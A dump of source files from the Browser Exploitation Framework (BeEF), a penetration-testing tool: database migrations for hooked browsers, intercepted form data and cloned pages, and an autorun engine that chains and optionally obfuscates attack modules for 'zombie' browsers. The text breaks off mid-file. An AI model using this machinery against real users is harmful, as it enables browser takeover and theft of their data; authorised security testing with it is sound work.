    "content": "class CreateLogs < ActiveRecord::Migration[6.0]\n  def change\n    create_table :logs do |t|\n      t.text :logtype\n      t.text :event\n      t.datetime :date\n      t.references :hooked_browser\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/004_create_commands.rb",
    "content": "class CreateCommands < ActiveRecord::Migration[6.0]\n  def change\n    create_table :commands do |t|\n      t.references :command_module\n      t.references :hooked_browser\n      t.text :data\n      t.datetime :creationdate\n      t.text :label\n      t.boolean :instructions_sent, default: false\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/005_create_results.rb",
    "content": "class CreateResults < ActiveRecord::Migration[6.0]\n  def change\n    create_table :results do |t|\n      t.references :command\n      t.references :hooked_browser\n      t.datetime :date\n      t.integer :status\n      t.text :data\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/006_create_option_caches.rb",
    "content": "class CreateOptionCaches < ActiveRecord::Migration[6.0]\n  def change\n    create_table :option_caches do |t|\n      t.text :name\n      t.text :value\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/007_create_browser_details.rb",
    "content": "class CreateBrowserDetails < ActiveRecord::Migration[6.0]\n  def change\n    create_table :browser_details do |t|\n      t.text :session_id\n      t.text :detail_key\n      t.text :detail_value\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/008_create_executions.rb",
    "content": "class CreateExecutions < ActiveRecord::Migration[6.0]\n  def change\n    create_table :executions do |t|\n      t.text :session_id\n      t.integer :mod_count\n      t.integer :mod_successful\n      t.text :mod_body\n      t.text :exec_time\n      t.text :rule_token\n      t.boolean :is_sent\n      t.integer :rule_id\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/009_create_rules.rb",
    "content": "class CreateRules < ActiveRecord::Migration[6.0]\n  def change\n    create_table :rules do |t|\n      t.text :name\n      t.text :author\n      t.text :browser\n      t.text :browser_version\n      t.text :os\n      t.text :os_version\n      t.text :modules\n      t.text :execution_order\n      t.text :execution_delay\n      t.text :chain_mode\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/010_create_interceptor.rb",
    "content": "class CreateInterceptor < ActiveRecord::Migration[6.0]\n  def change\n    create_table :interceptors do |t|\n      t.text :ip\n      t.text :post_data\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/011_create_web_cloner.rb",
    "content": "class CreateWebCloner < ActiveRecord::Migration[6.0]\n  def change\n    create_table :web_cloners do |t|\n      t.text :uri\n      t.text :mount\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/013_create_network_host.rb",
    "content": "class CreateNetworkHost < ActiveRecord::Migration[6.0]\n  def change\n    create_table :network_hosts do |t|\n      t.references :hooked_browser\n      t.text :ip\n      t.text :hostname\n      t.text :ntype\n      t.text :os\n      t.text :mac\n      t.text :lastseen\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/014_create_network_service.rb",
    "content": "class CreateNetworkService < ActiveRecord::Migration[6.0]\n  def change\n    create_table :network_services do |t|\n      t.references :hooked_browser\n      t.text :proto\n      t.text :ip\n      t.text :port\n      t.text :ntype\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/015_create_http.rb",
    "content": "class CreateHttp < ActiveRecord::Migration[6.0]\n  def change\n    create_table :https do |t|\n      t.text :hooked_browser_id\n      # The http request to perform. In clear text.\n      t.text :request\n      # Boolean value as string to say whether cross-origin requests are allowed\n      t.boolean :allow_cross_origin, default: true\n      # The http response body received. In clear text.\n      t.text :response_data\n      # The http response code. Useful to handle cases like 404, 500, 302, ...\n      t.integer :response_status_code\n      # The http response code. Human-readable code: success, error, ecc..\n      t.text :response_status_text\n      # The port status. closed, open or not http\n      t.text :response_port_status\n      # The XHR Http response raw headers\n      t.text :response_headers\n      # The http response method. GET or POST.\n      t.text :method\n      # The content length for the request.\n      t.text :content_length, default: 0\n      # The request protocol/scheme (http/https)\n      t.text :proto\n      # The domain on which perform the request.\n      t.text :domain\n      # The port on which perform the request.\n      t.text :port\n      # Boolean value to say if the request was cross-origin\n      t.text :has_ran, default: 'waiting'\n      # The path of the request.\n      # Example: /secret.html\n      t.text :path\n      # The date at which the http response has been saved.\n      t.datetime :response_date\n      # The date at which the http request has been saved.\n      t.datetime :request_date\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/016_create_rtc_status.rb",
    "content": "class CreateRtcStatus < ActiveRecord::Migration[6.0]\n  def change\n    create_table :rtc_statuss do |t|\n      t.references :hooked_browser\n      t.integer :target_hooked_browser_id\n      t.text :status\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/017_create_rtc_manage.rb",
    "content": "class CreateRtcManage < ActiveRecord::Migration[6.0]\n  def change\n    create_table :rtc_manages do |t|\n      t.references :hooked_browser\n      t.text :message\n      t.text :has_sent, default: 'waiting'\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/018_create_rtc_signal.rb",
    "content": "class CreateRtcSignal < ActiveRecord::Migration[6.0]\n  def change\n    create_table :rtc_signals do |t|\n      t.references :hooked_browser\n      t.integer :target_hooked_browser_id\n      t.text :signal\n      t.text :has_sent, default: 'waiting'\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/019_create_rtc_module_status.rb",
    "content": "class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]\n  def change\n    create_table :rtc_module_statuss do |t|\n      t.references :hooked_browser\n      t.references :command_module\n      t.integer :target_hooked_browser_id\n      t.text :status\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/020_create_xssrays_detail.rb",
    "content": "class CreateXssraysDetail < ActiveRecord::Migration[6.0]\n  def change\n    create_table :xssraysdetails do |t|\n      t.references :hooked_browser\n      t.text :vector_name\n      t.text :vector_method\n      t.text :vector_poc\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/021_create_dns_rule.rb",
    "content": "class CreateDnsRule < ActiveRecord::Migration[6.0]\n  def change\n    create_table :dns_rules do |t|\n      t.text :pattern\n      t.text :resource\n      t.text :response\n      t.text :callback\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/024_create_autoloader.rb",
    "content": "class CreateAutoloader < ActiveRecord::Migration[6.0]\n  def change\n    create_table :autoloaders do |t|\n      t.references :command\n      t.boolean :in_use\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/025_create_xssrays_scan.rb",
    "content": "class CreateXssraysScan < ActiveRecord::Migration[6.0]\n  def change\n    create_table :xssraysscans do |t|\n      t.references :hooked_browser\n      t.datetime :scan_start\n      t.datetime :scan_finish\n      t.text :domain\n      t.text :cross_origin\n      t.integer :clean_timeout\n      t.boolean :is_started\n      t.boolean :is_finished\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/autorun_engine/engine.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module AutorunEngine\n      class Engine\n        include Singleton\n\n        def initialize\n          @config = BeEF::Core::Configuration.instance\n\n          @result_poll_interval = @config.get('beef.autorun.result_poll_interval')\n          @result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')\n          @continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')\n\n          @debug_on = @config.get('beef.debug')\n\n          @VERSION = ['<', '<=', '==', '>=', '>', 'ALL']\n          @VERSION_STR = %w[XP Vista 7]\n        end\n\n        # Checks if there are any ARE rules to be triggered for the specified hooked browser.\n        #\n        # Returns an array with rule IDs that matched and should be triggered.\n        # if rule_id is specified, checks will be executed only against the specified rule (useful\n        #  for dynamic triggering of new rulesets ar runtime)\n        def find_matching_rules_for_zombie(browser, browser_version, os, os_version)\n          rules = BeEF::Core::Models::Rule.all\n\n          return if rules.nil?\n          return if rules.empty?\n\n          # TODO: handle cases where there are multiple ARE rules for the same hooked browser.\n          # maybe rules need to have priority or something?\n\n          print_info '[ARE] Checking if any defined rules should be triggered on target.'\n\n          match_rules = []\n          rules.each do |rule|\n            next unless zombie_matches_rule?(browser, browser_version, os, os_version, rule)\n\n            match_rules.push(rule.id)\n            print_more(\"Hooked browser and OS match rule: #{rule.name}.\")\n          end\n\n          print_more(\"Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser.\")\n\n          match_rules\n        end\n\n        # @return [Boolean]\n        # Note: browser version checks are supporting only major versions, ex: C 43, IE 11\n        # Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1\n        def zombie_matches_rule?(browser, browser_version, os, os_version, rule)\n          return false if rule.nil?\n\n          unless zombie_browser_matches_rule?(browser, browser_version, rule)\n            print_debug(\"Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : does not match\")\n            return false\n          end\n\n          print_debug(\"Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : matched\")\n\n          unless zombie_os_matches_rule?(os, os_version, rule)\n            print_debug(\"OS version check -> (hook) #{os_version} #{rule.os_version} (rule): does not match\")\n            return false\n          end\n\n          print_debug(\"OS version check -> (hook) #{os_version} #{rule.os_version} (rule): matched\")\n\n          true\n        rescue StandardError => e\n          print_error e.message\n          print_debug e.backtrace.join(\"\\n\")\n        end\n\n        # @return [Boolean]\n        # TODO: This should be updated to support matching multiple OS (like the browser check below)\n        def zombie_os_matches_rule?(os, os_version, rule)\n          return false if rule.nil?\n\n          return false unless rule.os == 'ALL' || os == rule.os\n\n          # check if the OS versions match\n          os_ver_rule_cond = rule.os_version.split(' ').first\n\n          return true if os_ver_rule_cond == 'ALL'\n\n          return false unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)\n\n          os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first\n          os_ver_rule_min = rule.os_version.split(' ').last.split('.').last\n\n          if os_ver_rule_maj == 'XP'\n            os_ver_rule_maj = 5\n            os_ver_rule_min = 0\n          elsif os_ver_rule_maj == 'Vista'\n            os_ver_rule_maj = 6\n            os_ver_rule_min = 0\n          elsif os_ver_rule_maj == '7'\n            os_ver_rule_maj = 6\n            os_ver_rule_min = 0\n          end\n\n          # Most of the times Linux/*BSD OS doesn't return any version\n          # (TODO: improve OS detection on these operating systems)\n          if !os_version.nil? && !@VERSION_STR.include?(os_version)\n            os_ver_hook_maj = os_version.split('.').first\n            os_ver_hook_min = os_version.split('.').last\n\n            # the following assignments to 0 are need for later checks like:\n            # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same\n            os_ver_hook_min = 0 if os_version.split('.').length == 1\n            os_ver_rule_min = 0 if rule.os_version.split('.').length == 1\n          else\n            # XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.\n            # TODO: BUG: This will fail horribly if the target OS is Windows 7 or newer,\n            # as no version normalization is performed.\n            # TODO: Update this for every OS since Vista/7 ...\n            if os_version == 'XP'\n              os_ver_hook_maj = 5\n              os_ver_hook_min = 0\n            elsif os_version == 'Vista'\n              os_ver_hook_maj = 6\n              os_ver_hook_min = 0\n            elsif os_version == '7'\n              os_ver_hook_maj = 6\n              os_ver_hook_min = 0\n            end\n          end\n\n          if !os_version.nil? || rule.os_version != 'ALL'\n            os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)\n            os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)\n            return false unless (os_major_version_match && os_minor_version_match)\n          end\n\n          true\n        rescue StandardError => e\n          print_error e.message\n          print_debug e.backtrace.join(\"\\n\")\n        end\n\n        # @return [Boolean]\n        def zombie_browser_matches_rule?(browser, browser_version, rule)\n          return false if rule.nil?\n\n          b_ver_cond = rule.browser_version.split(' ').first\n\n          return false unless @VERSION.include?(b_ver_cond)\n\n          b_ver = rule.browser_version.split(' ').last\n\n          return false unless BeEF::Filters.is_valid_browserversion?(b_ver)\n\n          # check if rule specifies multiple browsers\n          if rule.browser =~ /\\A[A-Z]+\\Z/\n              return false unless rule.browser == 'ALL' || browser == rule.browser\n\n              # check if the browser version matches\n              browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)\n              return false unless browser_version_match\n            else\n              browser_match = false\n              rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|\n                if b == browser || b == 'ALL'\n                  browser_match = true\n                  break\n                end\n              end\n              return false unless browser_match\n          end\n\n          true\n        rescue StandardError => e\n          print_error e.message\n          print_debug e.backtrace.join(\"\\n\")\n        end\n\n        # Check if the hooked browser type/version and OS type/version match any Rule-sets\n        # stored in the BeEF::Core::Models::Rule database table\n        # If one or more Rule-sets do match, trigger the module chain specified\n        def find_and_run_all_matching_rules_for_zombie(hb_id)\n          return if hb_id.nil?\n\n          hb_details = BeEF::Core::Models::BrowserDetails\n          browser_name = hb_details.get(hb_id, 'browser.name')\n          browser_version = hb_details.get(hb_id, 'browser.version')\n          os_name = hb_details.get(hb_id, 'host.os.name')\n          os_version = hb_details.get(hb_id, 'host.os.version')\n\n          are = BeEF::Core::AutorunEngine::Engine.instance\n          rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version)\n\n          return if rules.nil?\n          return if rules.empty?\n\n          are.run_rules_on_zombie(rules, hb_id)\n        end\n\n        # Run the specified rule IDs on the specified zombie ID\n        # only if the rules match.\n        def run_matching_rules_on_zombie(rule_ids, hb_id)\n          return if rule_ids.nil?\n          return if hb_id.nil?\n\n          rule_ids = [rule_ids.to_i] if rule_ids.is_a?(String)\n\n          hb_details = BeEF::Core::Models::BrowserDetails\n          browser_name = hb_details.get(hb_id, 'browser.name')\n          browser_version = hb_details.get(hb_id, 'browser.version')\n          os_name = hb_details.get(hb_id, 'host.os.name')\n          os_version = hb_details.get(hb_id, 'host.os.version')\n\n          are = BeEF::Core::AutorunEngine::Engine.instance\n          rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version)\n\n          return if rules.nil?\n          return if rules.empty?\n\n          new_rules = []\n          rules.each do |rule|\n            new_rules << rule if rule_ids.include?(rule)\n          end\n\n          return if new_rules.empty?\n\n          are.run_rules_on_zombie(new_rules, hb_id)\n        end\n\n        # Run the specified rule IDs on the specified zombie ID\n        # regardless of whether the rules match.\n        # Prepare and return the JavaScript of the modules to be sent.\n        # It also updates the rules ARE execution table with timings\n        def run_rules_on_zombie(rule_ids, hb_id)\n          return if rule_ids.nil?\n          return if hb_id.nil?\n\n          hb = BeEF::HBManager.get_by_id(hb_id)\n          hb_session = hb.session\n\n          rule_ids = [rule_ids] if rule_ids.is_a?(Integer)\n\n          rule_ids.each do |rule_id|\n            rule = BeEF::Core::Models::Rule.find(rule_id)\n            modules = JSON.parse(rule.modules)\n\n            execution_order = JSON.parse(rule.execution_order)\n            execution_delay = JSON.parse(rule.execution_delay)\n            chain_mode = rule.chain_mode\n\n            unless %w[sequential nested-forward].include?(chain_mode)\n              print_error(\"[ARE] Invalid chain mode '#{chain_mode}' for rule\")\n              return\n            end\n\n            mods_bodies = []\n            mods_codes = []\n            mods_conditions = []\n\n            # this ensures that if both rule A and rule B call the same module in sequential mode,\n            # execution will be correct preventing wrapper functions to be called with equal names.\n            rule_token = SecureRandom.hex(5)\n\n            modules.each do |cmd_mod|\n              mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first\n              options = []\n              replace_input = false\n              cmd_mod['options'].each do |k, v|\n                options.push({ 'name' => k, 'value' => v })\n                replace_input = true if v == '<<mod_input>>'\n              end\n\n              command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)\n\n              mods_bodies.push(command_body)\n              mods_codes.push(cmd_mod['code'])\n              mods_conditions.push(cmd_mod['condition'])\n            end\n\n            # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper\n            case chain_mode\n            when 'nested-forward'\n              wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)\n            when 'sequential'\n              wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)\n            else\n              # we should never get here. chain mode is validated earlier.\n              print_error(\"[ARE] Invalid chain mode '#{chain_mode}'\")\n              next\n            end\n\n            print_more \"Triggering rules #{rule_ids} on HB #{hb_id}\"\n\n            are_exec = BeEF::Core::Models::Execution.new(\n              session_id: hb_session,\n              mod_count: modules.length,\n              mod_successful: 0,\n              rule_token: rule_token,\n              mod_body: wrapper,\n              is_sent: false,\n              rule_id: rule_id\n            )\n            are_exec.save!\n          end\n        end\n\n        private\n\n        # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.\n        # Launch order is also taken care of.\n        #  - sequential chain with delays (setTimeout stuff)\n        #    ex.: setTimeout(module_one(),   0);\n        #         setTimeout(module_two(),   2000);\n        #         setTimeout(module_three(), 3000);\n        # Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring\n        #  what their status will be (for instance, a bunch of XSRFs on a set of targets)\n        def prepare_sequential_wrapper(mods, order, delay, rule_token)\n          wrapper = ''\n          delayed_exec = ''\n          c = 0\n          while c < mods.length\n            delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |\n            mod_body = mods[order[c]][:mod_body].to_s.gsub(\"#{mods[order[c]][:mod_name]}_mod_output\", \"#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output\")\n            wrapped_mod = \"#{mod_body}\\n\"\n            wrapper += wrapped_mod\n            c += 1\n          end\n          wrapper += delayed_exec\n          print_more \"Final Modules Wrapper:\\n #{wrapper}\" if @debug_on\n          wrapper\n        end\n\n        # Wraps module bodies in their own function, then start to execute them from the first, polling for\n        # command execution status/results (with configurable polling interval and timeout).\n        # Launch order is also taken care of.\n        #  - nested forward chain with status checks (setInterval to wait for command to return from async operations)\n        #    ex.:  module_one()\n        #           if condition\n        #             module_two(module_one_output)\n        #               if condition\n        #                  module_three(module_two_output)\n        #\n        # Note: command result status is checked, and you can properly chain input into output, having also\n        # the flexibility of slightly mangling it to adapt to module needs.\n        # Note: Useful in situations where you want to launch 2 modules, where the second one will execute only\n        #     if the first once return with success. Also, the second module has the possibility of mangling first\n        #     module output and use it as input for some of its module inputs.\n        def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)\n          wrapper = ''\n          delayed_exec = ''\n          delayed_exec_footers = []\n          c = 0\n\n          while c < mods.length\n            i = if mods.length == 1\n                  c\n                else\n                  c + 1\n                end\n\n            code_snippet = ''\n            mod_input = ''\n            if code[c] != 'null' && code[c] != ''\n              code_snippet = code[c]\n              mod_input = 'mod_input'\n            end\n\n            conditions[i] = true if conditions[i].nil? || conditions[i] == ''\n\n            if c == 0\n              # this is the first wrapper to prepare\n              delayed_exec += %|\n                function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){\n                  #{mods[order[c]][:mod_name]}_#{rule_token}();\n\n                  // TODO add timeout to prevent infinite loops\n                  function isResReady(mod_result, start){\n                    if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){\n                       // loop\n                    }else{\n                       // module return status/data is now available\n                       clearInterval(resultReady);\n                          if (mod_result === null && #{@continue_after_timeout}){\n                              var mod_result = [];\n                              mod_result[0] = 1; //unknown status\n                              mod_result[1] = '' //empty result\n                          }\n                          var status = mod_result[0];\n                       if(#{conditions[i]}){\n                         #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;\n                         #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];\n              |\n\n              delayed_exec_footer = %|\n                     }\n                    }\n                  }\n                  var start = (new Date()).getTime();\n                  var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});\n                }\n                #{mods[order[c]][:mod_name]}_#{rule_token}_f();\n              |\n\n              delayed_exec_footers.push(delayed_exec_footer)\n\n            elsif c < mods.length - 1\n              code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], \"#{mods[order[c - 1]][:mod_name]}_#{rule_token}\")\n\n              # this is one of the wrappers in the middle of the chain\n              delayed_exec += %|\n                function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){\n                  if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){\n                     #{code_snippet}\n                     #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});\n                     function isResReady(mod_result, start){\n                        if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){\n                           // loop\n                        }else{\n                           // module return status/data is now available\n                         clearInterval(resultReady);\n                          if (mod_result === null && #{@continue_after_timeout}){\n                              var mod_result = [];\n                              mod_result[0] = 1; //unknown status\n                              mod_result[1] = '' //empty result\n                          }\n                          var status = mod_result[0];\n                          if(#{conditions[i]}){\n                             #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;\n                             #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];\n              |\n\n              delayed_exec_footer = %|\n                         }\n                       }\n                     }\n                     var start = (new Date()).getTime();\n                     var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});\n                  }\n                }\n                #{mods[order[c]][:mod_name]}_#{rule_token}_f();\n              |\n\n              delayed_exec_footers.push(delayed_exec_footer)\n            else\n              code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], \"#{mods[order[c - 1]][:mod_name]}_#{rule_token}\")\n              # this is the last wrapper to prepare\n              delayed_exec += %|\n                function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){\n                  if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){\n                     #{code_snippet}\n                     #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});\n                  }\n                }\n                #{mods[order[c]][:mod_name]}_#{rule_token}_f();\n              |\n            end\n            mod_body = mods[order[c]][:mod_body].to_s.gsub(\"#{mods[order[c]][:mod_name]}_mod_output\", \"#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output\")\n            wrapped_mod = \"#{mod_body}\\n\"\n            wrapper += wrapped_mod\n            c += 1\n          end\n          wrapper += delayed_exec + delayed_exec_footers.reverse.join(\"\\n\")\n          print_more \"Final Modules Wrapper:\\n #{delayed_exec + delayed_exec_footers.reverse.join(\"\\n\")}\" if @debug_on\n          wrapper\n        end\n\n        # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,\n        # and store it in the database.\n        # Returns the raw module body after template substitution.\n        def prepare_command(mod, options, hb_id, replace_input, rule_token)\n          config = BeEF::Core::Configuration.instance\n          begin\n            command = BeEF::Core::Models::Command.new(\n              data: options.to_json,\n              hooked_browser_id: hb_id,\n              command_module_id: BeEF::Core::Configuration.instance.get(\"beef.module.#{mod.name}.db.id\"),\n              creationdate: Time.new.to_i,\n              instructions_sent: true\n            )\n            command.save!\n\n            command_module = BeEF::Core::Models::CommandModule.find(mod.id)\n            if command_module.path.match(/^Dynamic/)\n              # metasploit and similar integrations\n              command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new\n            else\n              # normal modules always here\n              key = BeEF::Module.get_key_by_database_id(mod.id)\n              command_module = BeEF::Core::Command.const_get(config.get(\"beef.module.#{key}.class\")).new(key)\n            end\n\n            hb = BeEF::HBManager.get_by_id(hb_id)\n            hb_session = hb.session\n            command_module.command_id = command.id\n            command_module.session_id = hb_session\n            command_module.build_datastore(command.data)\n            command_module.pre_send\n\n            build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?\n\n            if config.get('beef.extension.evasion.enable')\n              evasion = BeEF::Extension::Evasion::Evasion.instance\n              command_body = evasion.obfuscate(command_module.output) + \"\\n\\n\"\n            else\n              command_body = command_module.output + \"\\n\\n\"\n            end\n\n            # @note prints the event to the console\n            print_more \"Preparing JS for command id [#{command.id}], module [#{mod.name}]\"\n\n            mod_input = replace_input ? 'mod_input' : ''\n            result = %|\n                var #{mod.name}_#{rule_token} = function(#{mod_input}){\n                    #{clean_command_body(command_body, replace_input)}\n                };\n                var #{mod.name}_#{rule_token}_can_exec = false;\n                var #{mod.name}_#{rule_token}_mod_output = null;\n            |\n\n            { mod_name: mod.name, mod_body: result }\n          rescue StandardError => e\n            print_error e.message\n            print_debug e.backtrace.join(\"\\n\")\n          end\n        end\n\n        # Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than\n        # using the default behavior of adding the module to an array and execute it at polling time.\n        #\n        # Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input\n        def clean_command_body(command_body, replace_input)\n          cmd_body = command_body.lines.map(&:chomp)\n          wrapper_start_index, wrapper_end_index = nil\n\n          cmd_body.each_with_index do |line, index|\n            if line.to_s =~ /^(beef|[a-zA-Z]+)\\.execute\\(function\\(\\)/\n              wrapper_start_index = index\n              break\n            end\n          end\n          print_error '[ARE] Could not find module start index' if wrapper_start_index.nil?\n\n          cmd_body.reverse.each_with_index do |line, index|\n            if line.include?('});')\n              wrapper_end_index = index\n              break\n            end\n          end\n          print_error '[ARE] Could not find module end index' if wrapper_end_index.nil?\n\n          cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join(\"\\n\")\n\n          print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('')\n\n          # check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)\n          return cleaned_cmd_body unless replace_input\n\n          if cleaned_cmd_body.include?('\"<<mod_input>>\"')\n            cleaned_cmd_body.gsub('\"<<mod_input>>\"', 'mod_input')\n          elsif cleaned_cmd_body.include?('\\'<<mod_input>>\\'')\n            cleaned_cmd_body.gsub('\\'<<mod_input>>\\'', 'mod_input')\n          elsif cleaned_cmd_body.include?('<<mod_input>>')\n            cleaned_cmd_body.gsub('\\'<<mod_input>>\\'', 'mod_input')\n          else\n            cleaned_cmd_body\n          end\n        rescue StandardError => e\n          print_error \"[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}\"\n        end\n\n        # compare versions\n        def compare_versions(ver_a, cond, ver_b)\n          return true if cond == 'ALL'\n          return true if cond == '==' && ver_a == ver_b\n          return true if cond == '<=' && ver_a <= ver_b\n          return true if cond == '<'  && ver_a <  ver_b\n          return true if cond == '>=' && ver_a >= ver_b\n          return true if cond == '>'  && ver_a >  ver_b\n\n          false\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/autorun_engine/parser.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module AutorunEngine\n      class Parser\n        include Singleton\n\n        def initialize\n          @config = BeEF::Core::Configuration.instance\n        end\n\n        BROWSER = %w[FF C IE S O ALL]\n        OS = %w[Linux Windows OSX Android iOS BlackBerry ALL]\n        VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP']\n        CHAIN_MODE = %w[sequential nested-forward]\n        MAX_VER_LEN = 15\n\n        def parse(name, author, browser, browser_version, os, os_version, modules, execution_order, execution_delay, chain_mode)\n          raise ArgumentError, \"Invalid rule name: #{name}\" unless BeEF::Filters.is_non_empty_string?(name)\n          raise ArgumentError, \"Invalid author name: #{author}\" unless BeEF::Filters.is_non_empty_string?(author)\n          raise ArgumentError, \"Invalid chain_mode definition: #{chain_mode}\" unless CHAIN_MODE.include?(chain_mode)\n          raise ArgumentError, \"Invalid os definition: #{os}\" unless OS.include?(os)\n\n          unless modules.size == execution_delay.size\n            raise ArgumentError, \"Number of execution_delay values (#{execution_delay.size}) must be consistent with number of modules (#{modules.size})\"\n          end\n          execution_delay.each { |delay| raise TypeError, \"Invalid execution_delay value: #{delay}. Values must be Integers.\" unless delay.is_a?(Integer) }\n\n          unless modules.size == execution_order.size\n            raise ArgumentError, \"Number of execution_order values (#{execution_order.size}) must be consistent with number of modules (#{modules.size})\"\n          end\n          execution_order.each { |order| raise TypeError, \"Invalid execution_order value: #{order}. Values must be Integers.\" unless order.is_a?(Integer) }\n\n          # if multiple browsers were specified, check each browser\n          if browser.is_a?(Array)\n            browser.each do |b|\n              raise ArgumentError, \"Invalid browser definition: #{browser}\" unless BROWSER.include?(b)\n            end\n          # else, if only one browser was specified, check browser and browser version\n          else\n            raise ArgumentError, \"Invalid browser definition: #{browser}\" unless BROWSER.include?(browser)\n\n            if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\\s+/, '')) &&\n                  BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\\s+/, '')) && browser_version.length < MAX_VER_LEN)\n              raise ArgumentError, \"Invalid browser_version definition: #{browser_version}\"\n            end\n          end\n\n          if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\\s+/, '')) &&\n                  BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\\s+/, '')) && os_version.length < MAX_VER_LEN)\n            return ArgumentError, \"Invalid os_version definition: #{os_version}\"\n          end\n\n          # check if module names, conditions and options are ok\n          modules.each do |cmd_mod|\n            mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first\n\n            raise \"The specified module name (#{cmd_mod['name']}) does not exist\" if mod.nil?\n\n            modk = BeEF::Module.get_key_by_database_id(mod.id)\n            mod_options = BeEF::Module.get_options(modk)\n\n            opt_count = 0\n            mod_options.each do |opt|\n              if opt['name'] != cmd_mod['options'].keys[opt_count]\n                raise ArgumentError, \"The specified option (#{cmd_mod['options'].keys[opt_count]}) for module (#{cmd_mod['name']}) was not specified\"\n              